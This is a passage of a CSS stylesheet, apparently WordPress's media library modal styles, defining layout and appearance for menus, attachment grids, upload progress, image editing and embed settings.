display: block; margin: 0; padding: 0; } .compat-item .label { min-width: 30%; margin-right: 4%; float: left; text-align: right; } .compat-item .label span { display: block; width: 100%; } .compat-item .field { float: right; width: 65%; margin: 1px; } .compat-item .field input[type="text"], .compat-item .field input[type="password"], .compat-item .field input[type="email"], .compat-item .field input[type="number"], .compat-item .field input[type="search"], .compat-item .field input[type="tel"], .compat-item .field input[type="url"], .compat-item .field textarea { width: 100%; margin: 0; box-sizing: border-box; } .sidebar-for-errors .attachment-details, .sidebar-for-errors .compat-item, .sidebar-for-errors .media-sidebar .media-progress-bar, .sidebar-for-errors .upload-details { display: none !important; } /** * Menu */ .media-menu { position: absolute; top: 0; left: 0; right: 0; bottom: 0; margin: 0; padding: 50px 0 10px; background: #f6f7f7; border-right-width: 1px; border-right-style: solid; border-right-color: #c3c4c7; -webkit-user-select: none; user-select: none; } .media-menu .media-menu-item { display: block; box-sizing: border-box; width: 100%; position: relative; border: 0; margin: 0; padding: 8px 20px; font-size: 14px; line-height: 1.28571428; background: transparent; color: #2271b1; text-align: left; text-decoration: none; cursor: pointer; } .media-menu .media-menu-item:hover { background: rgba(0, 0, 0, 0.04); } .media-menu .media-menu-item:active { color: #2271b1; outline: none; } .media-menu .active, .media-menu .active:hover { color: #1d2327; font-weight: 600; } .media-menu .media-menu-item:focus { box-shadow: 0 0 0 2px #2271b1; color: #043959; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .media-menu .separator { height: 0; margin: 12px 20px; padding: 0; border-top: 1px solid #dcdcde; } /** * Menu */ .media-router { position: relative; padding: 0 6px; margin: 0; clear: both; } .media-router .media-menu-item { position: relative; float: left; border: 0; margin: 0; padding: 8px 10px 9px; height: 18px; line-height: 1.28571428; font-size: 14px; text-decoration: none; background: transparent; cursor: pointer; transition: none; } .media-router .media-menu-item:last-child { border-right: 0; } .media-router .media-menu-item:hover, .media-router .media-menu-item:active { color: #2271b1; } .media-router .active, .media-router .active:hover { color: #1d2327; } .media-router .media-menu-item:focus { box-shadow: 0 0 0 2px #2271b1; color: #043959; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; z-index: 1; } .media-router .active, .media-router .media-menu-item.active:last-child { margin: -1px -1px 0; background: #fff; border: 1px solid #dcdcde; border-bottom: none; } .media-router .active:after { display: none; } /** * Frame */ .media-frame { overflow: hidden; position: absolute; top: 0; left: 0; right: 0; bottom: 0; } .media-frame-menu { position: absolute; top: 0; left: 0; bottom: 0; width: 200px; z-index: 150; } .media-frame-title { position: absolute; top: 0; left: 200px; right: 0; height: 50px; z-index: 200; } .media-frame-router { position: absolute; top: 50px; left: 200px; right: 0; height: 36px; z-index: 200; } .media-frame-content { position: absolute; top: 84px; left: 200px; right: 0; bottom: 61px; height: auto; width: auto; margin: 0; overflow: auto; background: #fff; border-top: 1px solid #dcdcde; } .media-frame-toolbar { position: absolute; left: 200px; right: 0; z-index: 100; bottom: 60px; height: auto; } .media-frame.hide-menu .media-frame-title, .media-frame.hide-menu .media-frame-router, .media-frame.hide-menu .media-frame-toolbar, .media-frame.hide-menu .media-frame-content { left: 0; } .media-frame.hide-toolbar .media-frame-content { bottom: 0; } .media-frame.hide-router .media-frame-content { top: 50px; } .media-frame.hide-menu .media-frame-menu, .media-frame.hide-menu .media-frame-menu-heading, .media-frame.hide-router .media-frame-router, .media-frame.hide-toolbar .media-frame-toolbar { display: none; } .media-frame-title h1 { padding: 0 16px; font-size: 22px; line-height: 2.27272727; margin: 0; } .media-frame-menu-heading, .media-attachments-filter-heading { position: absolute; left: 20px; top: 22px; margin: 0; font-size: 13px; line-height: 1; /* Above the media-frame-menu. */ z-index: 151; } .media-attachments-filter-heading { top: 10px; left: 16px; } .mode-grid .media-attachments-filter-heading { top: 0; left: -9999px; } .mode-grid .media-frame-actions-heading { display: none; } .wp-core-ui .button.media-frame-menu-toggle { display: none; } .media-frame-title .suggested-dimensions { font-size: 14px; float: right; margin-right: 20px; } .media-frame-content .crop-content { height: 100%; } .options-general-php .crop-content.site-icon, .wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon { margin-right: 300px; } .media-frame-content .crop-content .crop-image { display: block; margin: auto; max-width: 100%; max-height: 100%; } .media-frame-content .crop-content .upload-errors { position: absolute; width: 300px; top: 50%; left: 50%; margin-left: -150px; margin-right: -150px; z-index: 600000; } /** * Iframes */ .media-frame .media-iframe { overflow: hidden; } .media-frame .media-iframe, .media-frame .media-iframe iframe { height: 100%; width: 100%; border: 0; } /** * Attachment Browser Filters */ .media-frame select.attachment-filters { margin-top: 11px; margin-right: 2%; max-width: 42%; max-width: calc(48% - 12px); } .media-frame select.attachment-filters:last-of-type { margin-right: 0; } /** * Search */ .media-frame .search { margin: 32px 0 0; padding: 4px; font-size: 13px; color: #3c434a; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; -webkit-appearance: none; } .media-toolbar-primary .search { max-width: 100%; } .media-modal .media-frame .media-search-input-label { position: absolute; left: 0; top: 10px; margin: 0; line-height: 1; } /** * Attachments */ .wp-core-ui .attachments { margin: 0; -webkit-overflow-scrolling: touch; } /** * Attachment */ .wp-core-ui .attachment { position: relative; float: left; padding: 8px; margin: 0; color: #3c434a; cursor: pointer; list-style: none; text-align: center; -webkit-user-select: none; user-select: none; width: 25%; box-sizing: border-box; } .wp-core-ui .attachment:focus, .wp-core-ui .selected.attachment:focus, .wp-core-ui .attachment.details:focus { box-shadow: inset 0 0 2px 3px #fff, inset 0 0 0 7px #4f94d4; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -6px; } .wp-core-ui .selected.attachment { box-shadow: inset 0 0 0 5px #fff, inset 0 0 0 7px #c3c4c7; } .wp-core-ui .attachment.details { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #2271b1; } .wp-core-ui .attachment-preview { position: relative; box-shadow: inset 0 0 15px rgba(0, 0, 0, 0.1), inset 0 0 0 1px rgba(0, 0, 0, 0.05); background: #f0f0f1; cursor: pointer; } .wp-core-ui .attachment-preview:before { content: ""; display: block; padding-top: 100%; } .wp-core-ui .attachment .icon { margin: 0 auto; overflow: hidden; } .wp-core-ui .attachment .thumbnail { overflow: hidden; position: absolute; top: 0; right: 0; bottom: 0; left: 0; opacity: 1; transition: opacity .1s; } .wp-core-ui .attachment .portrait img { max-width: 100%; } .wp-core-ui .attachment .landscape img { max-height: 100%; } .wp-core-ui .attachment .thumbnail:after { content: ""; display: block; position: absolute; top: 0; left: 0; right: 0; bottom: 0; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1); overflow: hidden; } .wp-core-ui .attachment .thumbnail img { top: 0; left: 0; } .wp-core-ui .attachment .thumbnail .centered { position: absolute; top: 0; left: 0; width: 100%; height: 100%; transform: translate( 50%, 50% ); } .wp-core-ui .attachment .thumbnail .centered img { transform: translate( -50%, -50% ); } .wp-core-ui .attachments-browser .attachment .thumbnail .centered img.icon { transform: translate( -50%, -70% ); } .wp-core-ui .attachment .filename { position: absolute; left: 0; right: 0; bottom: 0; overflow: hidden; max-height: 100%; word-wrap: break-word; text-align: center; font-weight: 600; background: rgba(255, 255, 255, 0.8); box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15); } .wp-core-ui .attachment .filename div { padding: 5px 10px; } .wp-core-ui .attachment .thumbnail img { position: absolute; } .wp-core-ui .attachment-close { display: block; position: absolute; top: 5px; right: 5px; height: 22px; width: 22px; padding: 0; background-color: #fff; border-radius: 3px; box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.3); transition: none; } .wp-core-ui .attachment-close .media-modal-icon { display: inline-block; background-position: -96px 4px; height: 22px; width: 22px; } .wp-core-ui .attachment-close:hover .media-modal-icon, .wp-core-ui .attachment-close:focus .media-modal-icon { background-position: -36px 4px; } .wp-core-ui .attachment .check { display: none; height: 24px; width: 24px; padding: 0; border: 0; position: absolute; z-index: 10; top: 0; right: 0; outline: none; background: #f0f0f1; cursor: pointer; box-shadow: 0 0 0 1px #fff, 0 0 0 2px rgba(0, 0, 0, 0.15); } .wp-core-ui .attachment .check .media-modal-icon { display: block; background-position: -1px 0; height: 15px; width: 15px; margin: 5px; } .wp-core-ui .attachment .check:hover .media-modal-icon { background-position: -40px 0; } .wp-core-ui .attachment.selected .check { display: block; } .wp-core-ui .attachment.details .check, .wp-core-ui .attachment.selected .check:focus, .wp-core-ui .media-frame.mode-grid .attachment.selected .check { background-color: #2271b1; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #2271b1; } .wp-core-ui .attachment.selected .check:focus { /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-core-ui .attachment.details .check .media-modal-icon, .wp-core-ui .media-frame.mode-grid .attachment.selected .check .media-modal-icon { background-position: -21px 0; } .wp-core-ui .attachment.details .check:hover .media-modal-icon, .wp-core-ui .attachment.selected .check:focus .media-modal-icon, .wp-core-ui .media-frame.mode-grid .attachment.selected .check:hover .media-modal-icon { background-position: -60px 0; } .wp-core-ui .media-frame .attachment .describe { position: relative; display: block; width: 100%; margin: 0; padding: 0 8px; font-size: 12px; border-radius: 0; } /** * Attachments Browser */ .media-frame .attachments-browser { position: relative; width: 100%; height: 100%; overflow: hidden; } .attachments-browser .media-toolbar { right: 300px; height: 72px; background: #fff; } .attachments-browser.hide-sidebar .media-toolbar { right: 0; } .attachments-browser .media-toolbar-primary > .media-button, .attachments-browser .media-toolbar-primary > .media-button-group, .attachments-browser .media-toolbar-secondary > .media-button, .attachments-browser .media-toolbar-secondary > .media-button-group { margin: 10px 0; } .attachments-browser .attachments { padding: 2px 8px 8px; } .attachments-browser:not(.has-load-more) .attachments, .attachments-browser.has-load-more .attachments-wrapper, .attachments-browser .uploader-inline { position: absolute; top: 72px; left: 0; right: 300px; bottom: 0; overflow: auto; outline: none; } .attachments-browser .uploader-inline.hidden { display: none; } .attachments-browser .media-toolbar-primary { max-width: 33%; } .mode-grid .attachments-browser .media-toolbar-primary { display: flex; align-items: center; column-gap: .5rem; margin: 11px 0; } .mode-grid .attachments-browser .media-toolbar-mode-select .media-toolbar-primary { display: none; } .attachments-browser .media-toolbar-secondary { max-width: 66%; } .uploader-inline .close { background-color: transparent; border: 0; cursor: pointer; height: 48px; outline: none; padding: 0; position: absolute; right: 2px; text-align: center; top: 2px; width: 48px; z-index: 1; } .uploader-inline .close:before { font: normal 30px/1 dashicons !important; color: #50575e; display: inline-block; content: "\f335"; content: "\f335" / ''; font-weight: 300; margin-top: 1px; } .uploader-inline .close:focus { outline: 1px solid #4f94d4; box-shadow: 0 0 3px rgba(34, 113, 177, 0.8); } .attachments-browser.hide-sidebar .attachments, .attachments-browser.hide-sidebar .uploader-inline { right: 0; margin-right: 0; } .attachments-browser .instructions { display: inline-block; margin-top: 16px; line-height: 1.38461538; font-size: 13px; color: #646970; } .attachments-browser .no-media { padding: 2em 0 0 2em; } .more-loaded .attachment:not(.found-media) { background: #dcdcde; } .load-more-wrapper { clear: both; display: flex; flex-wrap: wrap; align-items: center; justify-content: center; padding: 1em 0; } .load-more-wrapper .load-more-count { min-width: 100%; margin: 0 0 1em; text-align: center; } .load-more-wrapper .load-more { margin: 0; } /* Needs high specificity. */ .media-frame .load-more-wrapper .load-more + .spinner { float: none; margin: 0 -30px 0 10px; } /* Reset spinner margin when the button is hidden to avoid horizontal scrollbar. */ .media-frame .load-more-wrapper .load-more.hidden + .spinner { margin: 0; } /* Force a new row within the flex container. */ .load-more-wrapper::after { content: ""; min-width: 100%; order: 1; } .load-more-wrapper .load-more-jump { margin: 0 0 0 12px; } .attachment.new-media { outline: 2px dotted #c3c4c7; } /** * Progress Bar */ .media-progress-bar { position: relative; height: 10px; width: 70%; margin: 10px auto; border-radius: 10px; background: #dcdcde; background: rgba(0, 0, 0, 0.1); } .media-progress-bar div { height: 10px; min-width: 20px; width: 0; background: #2271b1; border-radius: 10px; transition: width 300ms; } .media-uploader-status .media-progress-bar { display: none; width: 100%; } .uploading.media-uploader-status .media-progress-bar { display: block; } .attachment-preview .media-progress-bar { position: absolute; top: 50%; left: 15%; width: 70%; margin: -5px 0 0; } .media-uploader-status { position: relative; margin: 0 auto; padding-bottom: 10px; max-width: 400px; } .uploader-inline .media-uploader-status h2 { display: none; } .media-uploader-status .upload-details { display: none; font-size: 12px; color: #646970; } .uploading.media-uploader-status .upload-details { display: block; } .media-uploader-status .upload-detail-separator { padding: 0 4px; } .media-uploader-status .upload-count { color: #3c434a; } .media-uploader-status .upload-dismiss-errors, .media-uploader-status .upload-errors { display: none; } .errors.media-uploader-status .upload-dismiss-errors, .errors.media-uploader-status .upload-errors { display: block; } .media-uploader-status .upload-dismiss-errors { transition: none; text-decoration: none; } .upload-errors .upload-error { padding: 12px; margin-bottom: 12px; background: #fff; border-left: 4px solid #d63638; box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1); } .uploader-inline .upload-errors .upload-error { padding: 12px 30px; background-color: #fcf0f1; box-shadow: none; } .upload-errors .upload-error-filename { font-weight: 600; } .upload-errors .upload-error-message { display: block; padding-top: 8px; word-wrap: break-word; } /** * Window and Editor uploaders used to display "drop zones" */ .uploader-window, .wp-editor-wrap .uploader-editor { top: 0; left: 0; right: 0; bottom: 0; text-align: center; display: none; } .uploader-window { position: fixed; z-index: 250000; opacity: 0; /* Only the inline uploader is animated with JS, the editor one isn't */ transition: opacity 250ms; } .wp-editor-wrap .uploader-editor { position: absolute; z-index: 99998; /* under the toolbar */ background: rgba(140, 143, 148, 0.9); } .uploader-window, .wp-editor-wrap .uploader-editor.droppable { background: rgba(10, 75, 120, 0.9); } .uploader-window-content, .wp-editor-wrap .uploader-editor-content { position: absolute; top: 10px; left: 10px; right: 10px; bottom: 10px; border: 1px dashed #fff; } /* uploader drop-zone title */ .uploader-window h1, /* Back-compat for pre-5.3 */ .uploader-window .uploader-editor-title, .wp-editor-wrap .uploader-editor .uploader-editor-title { position: absolute; top: 50%; left: 0; right: 0; transform: translateY(-50%); font-size: 3em; line-height: 1.3; font-weight: 600; color: #fff; margin: 0; padding: 0 10px; } .wp-editor-wrap .uploader-editor .uploader-editor-title { display: none; } .wp-editor-wrap .uploader-editor.droppable .uploader-editor-title { display: block; } .uploader-window .media-progress-bar { margin-top: 20px; max-width: 300px; background: transparent; border-color: #fff; display: none; } .uploader-window .media-progress-bar div { background: #fff; } .uploading .uploader-window .media-progress-bar { display: block; } .media-frame .uploader-inline { margin-bottom: 20px; padding: 0; text-align: center; } .uploader-inline-content { position: absolute; top: 30%; left: 0; right: 0; } .uploader-inline-content .upload-ui { margin: 2em 0; } .uploader-inline-content .post-upload-ui { margin-bottom: 2em; } .uploader-inline .has-upload-message .upload-ui { margin: 0 0 4em; } .uploader-inline h2 { font-size: 20px; line-height: 1.4; font-weight: 400; margin: 0; } .uploader-inline .has-upload-message .upload-instructions { font-size: 14px; color: #3c434a; font-weight: 400; } .uploader-inline .drop-instructions { display: none; } .supports-drag-drop .uploader-inline .drop-instructions { display: block; } .uploader-inline p { margin: 0.5em 0; } .uploader-inline .media-progress-bar { display: none; } .uploading.uploader-inline .media-progress-bar { display: block; } .uploader-inline .browser { display: inline-block !important; } /** * Selection */ .media-selection { position: absolute; top: 0; left: 0; right: 350px; height: 60px; padding: 0 0 0 16px; overflow: hidden; white-space: nowrap; } .media-selection .selection-info { display: inline-block; font-size: 12px; height: 60px; margin-right: 10px; vertical-align: top; } .media-selection.empty, .media-selection.editing { display: none; } .media-selection.one .edit-selection { display: none; } .media-selection .count { display: block; padding-top: 12px; font-size: 14px; line-height: 1.42857142; font-weight: 600; } .media-selection .button-link { float: left; padding: 1px 8px; margin: 1px 8px 1px -8px; line-height: 1.4; border-right: 1px solid #dcdcde; color: #2271b1; text-decoration: none; } .media-selection .button-link:hover, .media-selection .button-link:focus { color: #135e96; } .media-selection .button-link:last-child { border-right: 0; margin-right: 0; } .selection-info .clear-selection { color: #d63638; } .selection-info .clear-selection:hover, .selection-info .clear-selection:focus { color: #d63638; } .media-selection .selection-view { display: inline-block; vertical-align: top; } .media-selection .attachments { display: inline-block; height: 48px; margin: 6px; padding: 0; overflow: hidden; vertical-align: top; } .media-selection .attachment { width: 40px; padding: 0; margin: 4px; } .media-selection .attachment .thumbnail { top: 0; right: 0; bottom: 0; left: 0; } .media-selection .attachment .icon { width: 50%; } .media-selection .attachment-preview { box-shadow: none; background: none; } .wp-core-ui .media-selection .attachment:focus, .wp-core-ui .media-selection .selected.attachment:focus, .wp-core-ui .media-selection .attachment.details:focus { box-shadow: 0 0 0 1px #fff, 0 0 2px 3px #4f94d4; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-core-ui .media-selection .selected.attachment { box-shadow: none; } .wp-core-ui .media-selection .attachment.details { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #2271b1; } .media-selection:after { content: ""; display: block; position: absolute; top: 0; right: 0; bottom: 0; width: 25px; background-image: linear-gradient(to left,#fff,rgba(255, 255, 255, 0)); } .media-selection .attachment .filename { display: none; } /** * Spinner */ .media-frame .spinner { background: url(../images/spinner.gif) no-repeat; background-size: 20px 20px; float: right; display: inline-block; visibility: hidden; opacity: 0.7; filter: alpha(opacity=70); width: 20px; height: 20px; margin: 0; vertical-align: middle; } .media-frame .media-sidebar .settings-save-status .spinner { position: absolute; right: 0; top: 0; } .media-frame.mode-grid .spinner { margin: 0; float: none; vertical-align: middle; } .media-modal .media-toolbar .spinner { float: none; vertical-align: bottom; margin: 0 0 5px 5px; } .media-frame .instructions + .spinner.is-active { vertical-align: middle; } .media-frame .spinner.is-active { visibility: visible; } /** * Attachment Details */ .attachment-details { position: relative; overflow: auto; } .attachment-details .settings-save-status { text-align: right; text-transform: none; font-weight: 400; } .attachment-details .settings-save-status .spinner { float: none; margin-left: 5px; } .attachment-details .settings-save-status .saved { display: none; } .attachment-details.save-waiting .settings-save-status .spinner { visibility: visible; } .attachment-details.save-complete .settings-save-status .saved { display: inline-block; } .attachment-info { overflow: hidden; min-height: 60px; margin-bottom: 16px; line-height: 1.5; color: #646970; border-bottom: 1px solid #dcdcde; padding-bottom: 11px; } .attachment-info .wp-media-wrapper { margin-bottom: 8px; } .attachment-info .wp-media-wrapper.wp-audio { margin-top: 13px; } .attachment-info .filename { font-weight: 600; color: #3c434a; word-wrap: break-word; } .attachment-info .thumbnail { position: relative; float: left; max-width: 120px; max-height: 120px; margin-top: 5px; margin-right: 10px; margin-bottom: 5px; } .uploading .attachment-info .thumbnail { width: 120px; height: 80px; box-shadow: inset 0 0 15px rgba(0, 0, 0, 0.1); } .uploading .attachment-info .media-progress-bar { margin-top: 35px; } .attachment-info .thumbnail-image:after { content: ""; display: block; position: absolute; top: 0; left: 0; right: 0; bottom: 0; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15); overflow: hidden; } .attachment-info .thumbnail img { display: block; max-width: 120px; max-height: 120px; margin: 0 auto; } .attachment-info .details { float: left; font-size: 12px; max-width: 100%; } .attachment-info .edit-attachment, .attachment-info .delete-attachment, .attachment-info .trash-attachment, .attachment-info .untrash-attachment { display: block; text-decoration: none; white-space: nowrap; } .attachment-details.needs-refresh .attachment-info .edit-attachment { display: none; } .attachment-info .edit-attachment { display: block; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment { display: inline; padding: 0; color: #d63638; } .media-modal .delete-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:hover, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:hover, .media-modal .untrash-attachment:focus { color: #d63638; } /** * Attachment Display Settings */ .attachment-display-settings { width: 100%; float: left; overflow: hidden; } .collection-settings { overflow: hidden; } .collection-settings .setting input[type="checkbox"] { float: left; margin-right: 8px; } .collection-settings .setting span, /* Back-compat for pre-5.3 */ .collection-settings .setting .name { min-width: inherit; } /** * Image Editor */ .media-modal .imgedit-wrap { position: static; } .media-modal .imgedit-wrap .imgedit-panel-content { padding: 16px 16px 0; overflow: visible; } /* * Implementation of bottom padding in overflow content differs across browsers. * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129 */ .media-modal .imgedit-wrap .imgedit-save-target { margin: 8px 0 24px; } .media-modal .imgedit-group { background: none; border: none; box-shadow: none; margin: 0; padding: 0; position: relative; /* RTL fix, #WP29352 */ } .media-modal .imgedit-group.imgedit-panel-active { margin-bottom: 16px; padding-bottom: 16px; } .media-modal .imgedit-group-top { margin: 0; } .media-modal .imgedit-group-top h2, .media-modal .imgedit-group-top h2 .button-link { display: inline-block; text-transform: uppercase; font-size: 12px; color: #646970; margin: 0; margin-top: 3px; } .media-modal .imgedit-group-top h2 a, .media-modal .imgedit-group-top h2 .button-link { text-decoration: none; color: #646970; } /* higher specificity than media.css */ .wp-core-ui.media-modal .image-editor .imgedit-help-toggle, .wp-core-ui.media-modal .image-editor .imgedit-help-toggle:hover, .wp-core-ui.media-modal .image-editor .imgedit-help-toggle:active { border: 1px solid transparent; margin: 0; padding: 0; background: transparent; color: #2271b1; font-size: 20px; line-height: 1; cursor: pointer; box-sizing: content-box; box-shadow: none; } .wp-core-ui.media-modal .image-editor .imgedit-help-toggle:focus { color: #2271b1; border-color: #2271b1; box-shadow: 0 0 0 1px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-core-ui.media-modal .imgedit-group-top .dashicons-arrow-down.imgedit-help-toggle { margin-top: -3px; } .wp-core-ui.media-modal .image-editor h3 .imgedit-help-toggle { margin-top: -2px; } .media-modal .imgedit-help-toggled span.dashicons:before { content: "\f142"; content: "\f142" / ''; } .media-modal .imgedit-thumbnail-preview { margin: 10px 8px 0 0; } .imgedit-thumbnail-preview-caption { display: block; } .media-modal .imgedit-wrap div.updated, /* Back-compat for pre-5.5 */ .media-modal .imgedit-wrap .notice { margin: 0 16px; } /** * Embed from URL and Image Details */ .embed-url { display: block; position: relative; padding: 16px; margin: 0; z-index: 250; background: #fff; font-size: 18px; } .media-frame .embed-url input { font-size: 18px; line-height: 1.22222222; /* 22px */ padding: 12px 40px 12px 14px; /* right padding to leave room for the spinner */ width: 100%; min-width: 200px; box-shadow: inset 2px 2px 4px -2px rgba(0, 0, 0, 0.1); } .media-frame .embed-url input::-ms-clear { display: none; /* the "x" in IE 11 conflicts with the spinner */ } .media-frame .embed-url .spinner { position: absolute; top: 32px; right: 26px; } .media-frame .embed-loading .embed-url .spinner { visibility: visible; } .embed-link-settings, .embed-media-settings { position: absolute; top: 82px; left: 0; right: 0; bottom: 0; padding: 0 16px; overflow: auto; } .media-embed .embed-link-settings .link-text { margin-top: 0; } /* * Implementation of bottom padding in overflow content differs across browsers. * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129 */ .embed-link-settings::after, .embed-media-settings::after { content: ""; display: flex; clear: both; height: 24px; } .media-embed .embed-link-settings { /* avoid Firefox to give focus to the embed preview container parent */ overflow: visible; } .embed-preview img, .embed-preview iframe, .embed-preview embed, .mejs-container video { max-width: 100%; vertical-align: middle; } .embed-preview a { display: inline-block; } .embed-preview img { display: block; height: auto; } .mejs-container:focus { outline: 1px solid #2271b1; box-shadow: 0 0 0 2px #2271b1; } .image-details .media-modal { left: 140px; right: 140px; } .image-details .media-frame-title, .image-details .media-frame-content, .image-details .media-frame-router { left: 0; } .image-details .embed-media-settings { top: 0; overflow: visible; padding: 0; } .image-details .embed-media-settings::after { content: none; } .image-details .embed-media-settings, .image-details .embed-media-settings div { box-sizing: border-box; } .image-details .column-settings { background: #f6f7f7; border-right: 1px solid #dcdcde; min-height: 100%; width: 55%; position: absolute; top: 0; left: 0; } .image-details .column-settings h2 { margin: 20px; padding-top: 20px; border-top: 1px solid #dcdcde; color: #1d2327; } .image-details .column-image { width: 45%; position: absolute; left: 55%; top: 0; } .image-details .image { margin: 20px; } .image-details .image img { max-width: 100%; max-height: 500px; } .image-details .advanced-toggle { padding: 0; color: #646970; text-transform: uppercase; text-decoration: none; } .image-details .advanced-toggle:hover, .image-details .advanced-toggle:active { color: #646970; } .image-details .advanced-toggle:after { font: normal 20px/1 dashicons; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; content: "\f140"; content: "\f140" / ''; display: inline-block; margin-top: -2px; } .image-details .advanced-visible .advanced-toggle:after { content: "\f142"; content: "\f142" / ''; } .image-details .custom-size label, /* Back-compat for pre-5.3 */ .image-details .custom-size .custom-size-setting { display: block; float: left; } .image-details .custom-size .custom-size-setting label { float: none; } .image-details .custom-size input { width: 5em; } .image-details .custom-size .sep { float: left; margin: 26px 6px 0; } .image-details .custom-size .description { margin-left: 0; } .media-embed .thumbnail { max-width: 100%; max-height: 200px; position: relative; float: left; } .media-embed .thumbnail img { max-height: 200px; display: block; } .media-embed .thumbnail:after { content: ""; display: block; position: absolute; top: 0; left: 0; right: 0; bottom: 0; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1); overflow: hidden; } .media-embed .setting, .media-embed .setting-group { width: 100%; margin: 10px 0; float: left; display: block; clear: both; } .media-embed .setting-group .setting:not(.checkbox-setting) { margin: 0; } .media-embed .setting.has-description { margin-bottom: 5px; } .media-embed .description { clear: both; font-style: normal; } .media-embed .content-track + .description { line-height: 1.4; /* The !important needs to override a high specificity selector from wp-medialement.css */ max-width: none !important; } .media-embed .remove-track { margin-bottom: 10px; } .image-details .embed-media-settings .setting, .image-details .embed-media-settings .setting-group { float: none; width: auto; } .image-details .actions { margin: 10px 0; } .image-details .hidden { display: none; } .media-embed .setting input[type="text"], .media-embed .setting textarea, .media-embed fieldset { display: block; width: 100%; max-width: 400px; } .image-details .embed-media-settings .setting input[type="text"], .image-details .embed-media-settings .setting textarea { max-width: inherit; width: 70%; } .image-details .embed-media-settings .setting input.link-to-custom, .image-details .embed-media-settings .link-target, .image-details .embed-media-settings .custom-size, .image-details .embed-media-settings .setting-group, .image-details .description { margin-left: 27%; width: 70%; } .image-details .description { font-style: normal; margin-top: 0; } .image-details .embed-media-settings .link-target { margin-top: 16px; } .image-details .checkbox-label, .audio-details .checkbox-label, .video-details .checkbox-label { vertical-align: baseline; } .media-embed .setting input.hidden, .media-embed .setting textarea.hidden { display: none; } .media-embed .setting span, /* Back-compat for pre-5.3 */ .media-embed .setting .name, .media-embed .setting-group .name { display: inline-block; font-size: 13px; line-height: 1.84615384; color: #646970; } .media-embed .setting span { display: block; /* Back-compat for pre-5.3 */ width: 200px; /* Back-compat for pre-5.3 */ } .image-details .embed-media-settings .setting span, /* Back-compat for pre-5.3 */ .image-details .embed-media-settings .setting .name { float: left; width: 25%; text-align: right; margin: 8px 1% 0; line-height: 1.1; } /* Buttons group in IE 11. */ .media-frame .setting-group .button-group, .image-details .embed-media-settings .setting .button-group { width: auto; } .media-embed-sidebar { position: absolute; top: 0; left: 440px; } .advanced-section, .link-settings { margin-top: 10px; } /** * Button groups fix: can be removed together with the Back-compat for pre-5.3 */ .media-frame .setting .button-group { display: flex; margin: 0 !important; max-width: none !important; } /** * Localization */ .rtl .media-modal, .rtl .media-frame, .rtl .media-frame .search, .rtl .media-frame input[type="text"], .rtl .media-frame input[type="password"], .rtl .media-frame input[type="number"], .rtl .media-frame input[type="search"], .rtl .media-frame input[type="email"], .rtl .media-frame input[type="url"], .rtl .media-frame input[type="tel"], .rtl .media-frame textarea, .rtl .media-frame select { font-family: Tahoma, sans-serif; } :lang(he-il) .rtl .media-modal, :lang(he-il) .rtl .media-frame, :lang(he-il) .rtl .media-frame .search, :lang(he-il) .rtl .media-frame input[type="text"], :lang(he-il) .rtl .media-frame input[type="password"], :lang(he-il) .rtl .media-frame input[type="number"], :lang(he-il) .rtl .media-frame input[type="search"], :lang(he-il) .rtl .media-frame input[type="email"], :lang(he-il) .rtl .media-frame input[type="url"], :lang(he-il) .rtl .media-frame textarea, :lang(he-il) .rtl .media-frame select { font-family: Arial, sans-serif; } /** * Responsive layout */ @media only screen and (max-width: 900px) { .media-modal .media-frame-title { height: 40px; } .media-modal .media-frame-title h1 { line-height: 2.22222222; font-size: 18px; } .media-modal-close { width: 42px; height: 42px; } /* Drop-down menu */ .media-frame .media-frame-title { position: static; padding: 0 44px; text-align: center; } .media-frame:not(.hide-menu) .media-frame-router, .media-frame:not(.hide-menu) .media-frame-content, .media-frame:not(.hide-menu) .media-frame-toolbar { left: 0; } .media-frame:not(.hide-menu) .media-frame-router { /* 40 title + (40 - 6) menu toggle button + 6 spacing */ top: 80px; } .media-frame:not(.hide-menu) .media-frame-content { /* 80 + room for the tabs */ top: 114px; } .media-frame.hide-router .media-frame-content { top: 80px; } .media-frame:not(.hide-menu) .media-frame-menu { position: static; width: 0; } .media-frame:not(.hide-menu) .media-menu { display: none; width: auto; max-width: 80%; overflow: auto; z-index: 2000; top: 75px; left: 50%; transform: translateX(-50%); right: auto; bottom: auto; padding: 5px 0; border: 1px solid #c3c4c7; } .media-frame:not(.hide-menu) .media-menu.visible { display: block; } .media-frame:not(.hide-menu) .media-menu > a { padding: 12px 16px; font-size: 16px; } .media-frame:not(.hide-menu) .media-menu .separator { margin: 5px 10px; } /* Visually hide the menu heading keeping it available to assistive technologies. */ .media-frame-menu-heading { clip-path: inset(50%); height: 1px; overflow: hidden; padding: 0; width: 1px; border: 0; margin: -1px; word-wrap: normal !important; } /* Reveal the menu toggle button. */ .wp-core-ui .media-frame:not(.hide-menu) .button.media-frame-menu-toggle { display: inline-flex; align-items: center; position: absolute; left: 50%; transform: translateX(-50%); margin: -6px 0 0; padding: 0 2px 0 12px; font-size: 0.875rem; font-weight: 600; text-decoration: none; background: transparent; /* Only for IE11 to vertically align text within the inline-flex button */ height: 0.1%; /* Modern browsers */ min-height: 40px; } .wp-core-ui 